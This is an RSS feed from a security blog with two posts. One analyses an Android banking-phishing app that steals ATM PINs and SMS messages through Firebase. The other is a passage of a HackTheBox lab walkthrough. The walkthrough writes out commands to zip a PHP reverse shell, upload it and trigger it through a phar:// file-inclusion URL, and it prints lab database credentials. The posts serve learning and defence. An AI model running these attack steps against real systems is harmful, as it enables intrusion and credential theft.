-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.xml
4566 lines (4566 loc) · 575 KB
/
index.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title/><link>https://h4r1337.github.io/</link><description>Recent content on</description><generator>Hugo -- gohugo.io</generator><language>en</language><lastBuildDate>Sat, 30 Nov 2024 00:25:56 +0530</lastBuildDate><atom:link href="https://h4r1337.github.io/index.xml" rel="self" type="application/rss+xml"/><item><title>Android Malware Targeting Banking Credentials and SMS Data | Malware Research</title><link>https://h4r1337.github.io/posts/boi_android_malware/</link><pubDate>Sat, 30 Nov 2024 00:25:56 +0530</pubDate><guid>https://h4r1337.github.io/posts/boi_android_malware/</guid><description><h2 id="intro">Intro</h2>
<p>A few weeks ago, someone shared a shady message with Android malware in the WhatsApp group of a cybersecurity community I’m part of. I’ve always wanted to do some malware analysis and Android security, and since the message or app didn’t even attempt to look legitimate, I figured it wasn’t created by someone particularly competent, I decided to take this as an opportunity to start learning. I quickly downloaded that APK file into my system, before the admin noticed and deleted it. In this blog, I’ll share my experience analyzing the malware, what I discovered, and the steps I took to begin understanding this field.</p></description><content><h2 id="intro">Intro</h2>
<p>A few weeks ago, someone shared a shady message with Android malware in the WhatsApp group of a cybersecurity community I’m part of. I’ve always wanted to do some malware analysis and Android security, and since the message or app didn’t even attempt to look legitimate, I figured it wasn’t created by someone particularly competent, I decided to take this as an opportunity to start learning. I quickly downloaded that APK file into my system, before the admin noticed and deleted it. In this blog, I’ll share my experience analyzing the malware, what I discovered, and the steps I took to begin understanding this field.</p>
<p>For starters:</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ sha256sum <span style="color:#b8bb26">&#39;Bank of India.apk&#39;</span>
</span></span><span style="display:flex;"><span>cae6d729dd038011081bba1b2eaf79262698451cddcf356175146ca272d2c132 Bank of India.apk
</span></span></code></pre></div><h2 id="static-code-analysis">Static Code Analysis</h2>
<p>For static code analysis, I am using <a href="https://github.com/skylot/jadx">Jadx</a> which is an open source tool for decompiling Java code.
When doing static analysis on android apps, the first thing to check is the <a href="https://developer.android.com/guide/topics/manifest/manifest-intro"><code>AndroidManifest.xml</code></a> file. This is where some of the importand informations like permissions, activities, services, etc. are stored.
These are the permissions:</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241108233156.webp" alt=""><p>Since it is requesting permissions for read/recieve/send sms, it is possible that this might be a spyware.
The application is also using firebase:</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241108233728.webp" alt=""><p>Malicious apps may often use firebase as a communication channel between the app and C2 servers. We have to further analyse the code to know what exactly are they using firebase forin this case.
There are 2 activities from <code>com.dhoomun.jsahdio.laksdkzlkl.dhoomun.boi.app</code> which is the malicious package in the app:</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241108234308.webp" alt=""><p>As the name suggests, the <code>NoInternetActivity</code> class checks if there&rsquo;s internet access and if it&rsquo;s true then it just runs the <code>MainActivity</code> class.</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241108234731.webp" alt=""><p>So we will look into the <code>MainActivity</code> class since it is the entry point:</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241108235235.webp" alt=""><p>It first checks if <code>SEND_SMS</code> and <code>RECIEVE_SMS</code> permissions are set (<em>then ofcourse, the <code>NoInternetActivity</code> is triggered if there&rsquo;s no internet connection</em>) and then starts a <a href="https://developer.android.com/reference/android/webkit/WebView"><code>WebView</code></a> and loads a local file <code>file:///android_asset/index.html</code> which is bundled with the apk file. Nothing else important is happening in this activity, so let&rsquo;s look at this <code>index.html</code>. In <code>Jadx</code> these assets can be located inside <code>Resources</code> section.</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241108235911.webp" alt=""><p>There&rsquo;s some other files apart from the <code>index.html</code> file and since it is the entrypoint we will look into it first.</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241109000237.webp" alt=""><p>It just opens <code>start.html</code></p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241109000655.webp" alt=""><p>There is a form with two inputs, one for name and another one for mobile number. This page also loads two local JavaScript files and there&rsquo;s also some inline JavaScript as well.</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241109002555.webp" alt=""><p>It first initializes the firebase database, then it retrieves username and phone number from the above form and passes the value into <code>saveMessages</code> function. After that it redirects the user to <code>pc2.html</code>.</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241109002834.webp" alt=""><p>The <code>saveMessage</code> function adds name, phone, current date, and time to the firebase database.
Similarly there&rsquo;s also a form in <code>pct.html</code>:</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241109003151.webp" alt=""><p>This one asks for the last 4 digit of the user&rsquo;s account number and the ATM Pin. Then just like before save that to the database with current date and time.</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241109004049.webp" alt=""><p>After saving the data, it then redirects to <code>success.html</code>. But there isn&rsquo;t nothing much happening in this page, contrary to the <code>// Redirect to OTP page</code> comment shown in the <code>pc2.html</code> page.</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241109004337.webp" alt=""><p>In the assets there&rsquo;s two javascript files - <code>script.js</code> and <code>ld.js</code>.
<code>ld.js</code> contains some kind of time format functions which isn&rsquo;t important. The <code>script.js</code> file contains the firebase configurations:</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241109004920.webp" alt=""><p>If we check the <code>authDomain</code>, it shows a site not found error:</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241109012621.webp" alt=""><p>It seems either it is not configured properly or they deleted the project. But we can still access the firebase database by <a href="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum">accessing the <code>.json</code> endpoint</a>:</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241109013122.webp" alt=""><p>And if we scroll down a bit, we can see the data that was mentioned in the code we analysed including name, phone, account number, atm pin, date and time:</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241109013547.webp" alt=""><p>But we haven&rsquo;t yet seen the code that adds the first section of the json, the <code>sms</code> section, and we haven&rsquo;t seen where the <code>SMS_RECIEVE</code> &amp; <code>SMS_SENT</code> permissions are being used. So I searched one of the values from the first bit to see the exact code in which these data are getting added to the database:</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241109014302.webp" alt=""><p>There&rsquo;s one match:</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241109015231.webp" alt=""><p>This is where the values are being added to the firebase database. The <code>sb2</code> contains the sms and it is defined in the <code>SmsReceiver</code> class:</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241109015729.webp" alt=""><p>The code intercepts all the sms received and this is what get sent to the <code>Y.b</code> class and finally get added to the firebase database.</p>
<h3 id="static-analysis---tldr">Static Analysis - TLDR;</h3>
<p>I will try to list what we have found about the application so far using static code analysis:</p>
<ul>
<li>The app mainly uses permissions to read, recieve, and send sms.</li>
<li>App uses <code>WebView</code> to display local html files bundled with the apk assets through which it collects user inputs and saves in a database.</li>
<li>The collected user inputs includes name, phone number, account number, ATM PIN, current date, and time.</li>
<li>These data are stored in a firebase database for which all of the configurations including <code>apikey</code> is leaked in one of the JavaScript files in the apk assets.</li>
<li>The app additionally collects SMSs recieved on the phone and saves it to the database as well.</li>
<li>The firebase database is misconfigured and is publicly accessible by anyone with the project id by appending <code>/.json</code> to the url.
The <code>WebView</code> is mainly used to run, I would say, a phishing attack by which they are getting the most critical data which is the Account Number, and ATM PIN from the user. The only information that is collected without user&rsquo;s knowledge is the SMS contents (not entirely without the user&rsquo;s knowlege, since the user have to accept the permission, but this comes under abuse of the permission for malicious intents).</li>
</ul>
<p>And for the phishing attack to work, it has to be convincing enough right? so let&rsquo;s move on to dynamic analysis.</p>
<h2 id="dynamic-analysis">Dynamic Analysis</h2>
<p>I am using Android studio emulator for dynamic analysis in here.
I have already created an emulator for some android development before, so I will be using that.</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>emulator -list-avds
</span></span></code></pre></div><img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241109024620.webp" alt=""><p>Start the android emulator:</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>emulator -avd Pixel_6_Pro_API_30
</span></span></code></pre></div><p>Push the apk file to <code>/sdcard/Download</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>adb push <span style="color:#b8bb26">&#39;Bank of India.apk&#39;</span> /sdcard/Download
</span></span></code></pre></div><p>Now in the android emulator, open file manager and install the app, and run it.
Send and View SMS Permission:</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241109024908.webp" alt=""><p>The <code>index.html</code> page that asks for name and phone number:</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241109025028.webp" alt=""><p>The <code>pc2.html</code> account verification page, asks for Account No. and ATM PIN</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241109025129.webp" alt=""><p>This is, I guess, an endless loading screen:</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241109025153.webp" alt=""><p>The spinner keeps spinning and in the meantime attacker can read if there&rsquo;s any otp that is coming to this number.
I then checked the firebase database if the values I entered has been added:</p>
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241109025827.webp" alt=""><p>And yes, it has been added and we can confirm that this is still working. When I finally checked the database size is around 2MB and it is keeps increasing as time goes meaning that this malware is still in the run and people are installing it and entering critical informations. Even people can identify the phishing through the <code>WebView</code>, they are still prone to the SMS spying and all their SMSs are logged into the database.</p>
<h2 id="reporting-to-cert-in">Reporting to Cert-in</h2>
<p><a href="https://www.cert-in.org.in/"><strong>CERT-In</strong></a> (Indian Computer Emergency Response Team) is India’s national agency responsible for handling cybersecurity incidents, improving cybersecurity awareness, and coordinating responses to cyber threats. Established in 2004 under the Ministry of Electronics and Information Technology (MeitY), it monitors and defends against cyberattacks targeting India’s critical infrastructure, organizations, and individuals. CERT-In also issues advisories, conducts training, and collaborates with international cybersecurity agencies to enhance global and national cybersecurity resilience.
After seeing the severity of this incident, I decided to report it the CERT-In team. I sent a detailed report explaining the issue including the technical analysis to <code>[email protected]</code>.
To my surprise I got the response just after an hour, and they started invistigating into the issue.</p>
<h2 id="conclusion">Conclusion</h2>
<p>I am publishing this blog post after confirming that the firebase database have been taken down:
<img src="https://h4r1337.github.io/img/boi_android/Pasted%20image%2020241130004121.webp" alt=""></p>
<p>I haven&rsquo;t uploaded the <code>apk</code> into services like <a href="https://www.virustotal.com/">virustotal</a> in my research. Partly because if I did, then It would have been easier for other researchers to access it publicly and retrieve all the PII data.
But the CERT-In team uploaded it to virustotal while doing their research anyway. You can access it <a href="https://www.virustotal.com/gui/file/cae6d729dd038011081bba1b2eaf79262698451cddcf356175146ca272d2c132">here</a> if you want to look into it yourself.
I don&rsquo;t have a lot of malware research experience, and this one was a pretty simple and straight forward one. If you&rsquo;ve encountered any similar malware or have samples you&rsquo;d like to share, feel free to reach out to me on <a href="https://www.linkedin.com/in/h4r1337/">LinkedIn</a> or <a href="https://x.com/h4r1337">Twitter</a>. I’d love to collaborate, dive deeper into the analysis, and write about it.</p></content></item><item><title>Resource | HackTheBox</title><link>https://h4r1337.github.io/posts/resource/</link><pubDate>Fri, 29 Nov 2024 23:35:37 +0530</pubDate><guid>https://h4r1337.github.io/posts/resource/</guid><description><h2 id="overview">Overview</h2>
<img src="https://h4r1337.github.io/img/resource/cover.webp" alt=""><table>
<thead>
<tr>
<th style="text-align: center">Title</th>
<th style="text-align: center"><a href="https://app.hackthebox.com/machines/Resource">Resource</a></th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">Difficulty</td>
<td style="text-align: center">Hard</td>
</tr>
<tr>
<td style="text-align: center">Machine</td>
<td style="text-align: center">Linux</td>
</tr>
<tr>
<td style="text-align: center">Maker</td>
<td style="text-align: center"><a href="https://app.hackthebox.com/users/4935"><img src="https://www.hackthebox.com/badge/image/4935" alt="" style="display: unset"></a></td>
</tr>
</tbody>
</table>
<br>
<div
class="alert alert-tip collapsed"
style="border-color: #bdbb26;"
>
<div
class="alert-heading-box"
onclick="toggleAlert(this)"
>
<i
class="bx bx-bulb"
style="color: #bdbb26;"
></i>
<p
class="alert-heading"
style="color: #bdbb26"
>
About Resource
</p>
<i
class='bx bx-chevron-down collapsed'
style="color: #bdbb26;"
></i>
</div>
<div class="alert-content" style="display: none;">
<p>Resource is a hard difficulty Linux machine that intricately covers various ways to use <code>OpenSSH</code> private and public keys. It centers around the <code>SSG IT Resource Center</code> which offers a ticketing service to address the IT issues (<code>SSH</code> access, website and security issues, etc. ) of its customers. Upon creating a ticket through the website we can execute Local File Inclusion, trigger a reverse shell and get access to what appears to be a docker container which hosts the ticketing website. From this point, there are various clues in past tickets and left over <code>SSH</code> artifacts as well as a key signing API service that will lead to pivoting through other users and escaping the docker. Finally, the machine includes various scripts detailing the functions of its ticketing service and key signing API, one of which includes a vulnerable line of code allowing for brute forcing the final <code>SSH</code> key and achieving full privilege escalation.</p></description><content><h2 id="overview">Overview</h2>
<img src="https://h4r1337.github.io/img/resource/cover.webp" alt=""><table>
<thead>
<tr>
<th style="text-align: center">Title</th>
<th style="text-align: center"><a href="https://app.hackthebox.com/machines/Resource">Resource</a></th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">Difficulty</td>
<td style="text-align: center">Hard</td>
</tr>
<tr>
<td style="text-align: center">Machine</td>
<td style="text-align: center">Linux</td>
</tr>
<tr>
<td style="text-align: center">Maker</td>
<td style="text-align: center"><a href="https://app.hackthebox.com/users/4935"><img src="https://www.hackthebox.com/badge/image/4935" alt="" style="display: unset"></a></td>
</tr>
</tbody>
</table>
<br>
<div
class="alert alert-tip collapsed"
style="border-color: #bdbb26;"
>
<div
class="alert-heading-box"
onclick="toggleAlert(this)"
>
<i
class="bx bx-bulb"
style="color: #bdbb26;"
></i>
<p
class="alert-heading"
style="color: #bdbb26"
>
About Resource
</p>
<i
class='bx bx-chevron-down collapsed'
style="color: #bdbb26;"
></i>
</div>
<div class="alert-content" style="display: none;">
<p>Resource is a hard difficulty Linux machine that intricately covers various ways to use <code>OpenSSH</code> private and public keys. It centers around the <code>SSG IT Resource Center</code> which offers a ticketing service to address the IT issues (<code>SSH</code> access, website and security issues, etc. ) of its customers. Upon creating a ticket through the website we can execute Local File Inclusion, trigger a reverse shell and get access to what appears to be a docker container which hosts the ticketing website. From this point, there are various clues in past tickets and left over <code>SSH</code> artifacts as well as a key signing API service that will lead to pivoting through other users and escaping the docker. Finally, the machine includes various scripts detailing the functions of its ticketing service and key signing API, one of which includes a vulnerable line of code allowing for brute forcing the final <code>SSH</code> key and achieving full privilege escalation.</p>
</div>
</div>
<script>
function toggleAlert(headerElement) {
var alertBox = headerElement.parentElement;
var alertContent = alertBox.querySelector('.alert-content');
var icon = headerElement.querySelectorAll('i')[1];
alertBox.classList.toggle('open');
alertBox.classList.toggle('collapsed');
if (alertBox.classList.contains('open')) {
alertContent.style.display = 'block';
icon.classList.remove('open');
icon.classList.add('collapsed');
} else {
icon.classList.remove('collapsed');
icon.classList.add('open');
alertContent.style.display = 'none';
}
}
</script>
<h1 id="information-gathering">Information Gathering</h1>
<p>Scanned all TCP ports:</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>nmap -p- -vv --min-rate <span style="color:#d3869b">5000</span> 10.10.11.27 -oA nmap/ports
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Nmap scan report <span style="color:#fe8019">for</span> itrc.ssg.htb <span style="color:#fe8019">(</span>10.10.11.27<span style="color:#fe8019">)</span>
</span></span><span style="display:flex;"><span>Host is up, received syn-ack <span style="color:#fe8019">(</span>0.27s latency<span style="color:#fe8019">)</span>.
</span></span><span style="display:flex;"><span>Scanned at 2024-08-08 18:56:08 IST <span style="color:#fe8019">for</span> 1s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT STATE SERVICE REASON
</span></span><span style="display:flex;"><span>22/tcp open ssh syn-ack
</span></span><span style="display:flex;"><span>80/tcp open http syn-ack
</span></span><span style="display:flex;"><span>2222/tcp open EtherNetIP-1 syn-ack
</span></span></code></pre></div><p>Enumerated open TCP ports:</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>nmap -p22,80,2222 -vv -sC -sV --min-rate <span style="color:#d3869b">5000</span> 10.10.11.27 -oA nmap/servce
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Nmap scan report <span style="color:#fe8019">for</span> itrc.ssg.htb <span style="color:#fe8019">(</span>10.10.11.27<span style="color:#fe8019">)</span>
</span></span><span style="display:flex;"><span>Host is up, received syn-ack <span style="color:#fe8019">(</span>0.26s latency<span style="color:#fe8019">)</span>.
</span></span><span style="display:flex;"><span>Scanned at 2024-08-08 18:58:41 IST <span style="color:#fe8019">for</span> 15s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT STATE SERVICE REASON VERSION
</span></span><span style="display:flex;"><span>22/tcp open ssh syn-ack OpenSSH 9.2p1 Debian 2+deb12u3 <span style="color:#fe8019">(</span>protocol 2.0<span style="color:#fe8019">)</span>
</span></span><span style="display:flex;"><span>80/tcp open http syn-ack nginx 1.18.0 <span style="color:#fe8019">(</span>Ubuntu<span style="color:#fe8019">)</span>
</span></span><span style="display:flex;"><span>| http-cookie-flags:
</span></span><span style="display:flex;"><span>| /:
</span></span><span style="display:flex;"><span>| PHPSESSID:
</span></span><span style="display:flex;"><span>|_ httponly flag not <span style="color:#fabd2f">set</span>
</span></span><span style="display:flex;"><span>| http-methods:
</span></span><span style="display:flex;"><span>|_ Supported Methods: GET HEAD POST OPTIONS
</span></span><span style="display:flex;"><span>|_http-server-header: nginx/1.18.0 <span style="color:#fe8019">(</span>Ubuntu<span style="color:#fe8019">)</span>
</span></span><span style="display:flex;"><span>|_http-title: IT Support Center
</span></span><span style="display:flex;"><span>2222/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 <span style="color:#fe8019">(</span>Ubuntu Linux; protocol 2.0<span style="color:#fe8019">)</span>
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span></code></pre></div><hr>
<h1 id="enumeration">Enumeration</h1>
<h2 id="port-80---http-nginx-1180">Port 80 - HTTP (Nginx <code>1.18.0</code>)</h2>
<p>Forwarding to <code>itrc.ssg.htb</code>
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240808185634.webp" alt="">
Adding that to <code>/etc/hosts</code></p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span><span style="color:#fabd2f">echo</span> -e <span style="color:#b8bb26">&#39;10.10.11.27\titrc.ssg.htb&#39;</span> | sudo tee -a /etc/hosts
</span></span></code></pre></div><p><img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240808190008.webp" alt="">
Clicking on login redirects us to <code>/?page=login</code>
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240808190601.webp" alt="">
I tried LFI on the <code>page</code> parameter:
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240808190744.webp" alt="">
But it redirects us back to the home page. The <code>#</code> at the end of the url was to bypass potential file extensions like <code>.php</code> extension that will be added to the page value. I also tried <code>%0a</code>, <code>%00</code>, etc. Those were also not working</p>
<p>I registered an account and logged in and we can access a dashboard now.
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240808191606.webp" alt="">
We can create tickets and upload files. This is often the place for XSS, so we can enter some payloads for testing.
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809183239.webp" alt="">
I tried to use the upload functionality to upload a php reverse shell but that didn&rsquo;t worked. It strictly checks if the upload file is a zip file.
Next thing I noticed is every ticket have an <code>id</code> assigned to it, and we can view the contents of the ticket.
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809183352.webp" alt="">
So I tried IDOR.
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809183509.webp" alt=""> That wasn&rsquo;t working either, It redirected us to the home page.<br>
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809183525.webp" alt="">
Then I checked the source code and saw that the value of the <code>id</code> parameter was reflecting in the js code.
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809183812.webp" alt="">
We can inject js code through the <code>id</code> paramter and when the <code>submitComment</code> function is invoked, that is when we press the comment button our payload will execute.
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809184230.webp" alt="">
But it is just a self xss, no actual impact. Then again I focused on the upload functionality.
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020241129192411.webp" alt="">
The uploaded zip file is placed in the <code>/uploads/</code>, the server renames the file. I checked if any of the files inside the zip file is extracted in the <code>/uploads</code> folder but found nothing. If we can somehow execute a php file inside the zip archive we can achieve rce in the server. In php we can use the <a href="https://www.php.net/manual/en/phar.using.stream.php"><code>phar://</code> wrapper</a> to execute a php file inside the zip archive we upload. We can use the <code>?page</code> parameter and give it a <code>phar://</code> url and see how it responds.</p>
<hr>
<h1 id="exploitation">Exploitation</h1>
<h2 id="phar-deserialization"><code>phar://</code> deserialization</h2>
<p>First lets create a zip file with a php reverse shell.</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>cp /usr/share/webshells/php/php-reverse-shell.ph shell.php
</span></span><span style="display:flex;"><span><span style="color:#928374;font-style:italic"># change ip and port in shell.php</span>
</span></span><span style="display:flex;"><span><span style="color:#928374;font-style:italic"># then create the zip file</span>
</span></span><span style="display:flex;"><span>zip -r poc.zip shell.php
</span></span></code></pre></div><p>Now upload the <code>poc.zip</code> and execute the <code>shell.php</code> by sending a request to:</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-http" data-lang="http"><span style="display:flex;"><span>http://itrc.ssg.htb/?page=phar://uploads/83ffc3c94d5736acfff31d7092fed6d6dcf414cd.zip/shell
</span></span></code></pre></div><p>And we got the shell
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809185821.webp" alt=""></p>
<hr>
<h1 id="lateral-movement-to-user">Lateral Movement to user</h1>
<h2 id="local-enumeration">Local Enumeration</h2>
<p>There is a <code>.dockerenv</code> file in the root directory, indicating that we are inside a docker container.
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020240809191810.webp" alt="">
I checked the <code>/var/www/itrc</code> directory and saw a <code>db.php</code> file</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#fe8019">&lt;?</span>php
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$dsn <span style="color:#fe8019">=</span> <span style="color:#b8bb26">&#34;mysql:host=db;dbname=resourcecenter;&#34;</span>;
</span></span><span style="display:flex;"><span>$dbusername <span style="color:#fe8019">=</span> <span style="color:#b8bb26">&#34;jj&#34;</span>;
</span></span><span style="display:flex;"><span>$dbpassword <span style="color:#fe8019">=</span> <span style="color:#b8bb26">&#34;ugEG5rR5SG8uPd&#34;</span>;
</span></span><span style="display:flex;"><span>$pdo <span style="color:#fe8019">=</span> <span style="color:#fe8019">new</span> PDO($dsn, $dbusername, $dbpassword);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">try</span> {
</span></span><span style="display:flex;"><span> $pdo<span style="color:#fe8019">-&gt;</span><span style="color:#b8bb26;font-weight:bold">setAttribute</span>(PDO<span style="color:#fe8019">::</span><span style="color:#b8bb26;font-weight:bold">ATTR_ERRMODE</span>, PDO<span style="color:#fe8019">::</span><span style="color:#b8bb26;font-weight:bold">ERRMODE_EXCEPTION</span>);
</span></span><span style="display:flex;"><span>} <span style="color:#fe8019">catch</span> (PDOException $e) {
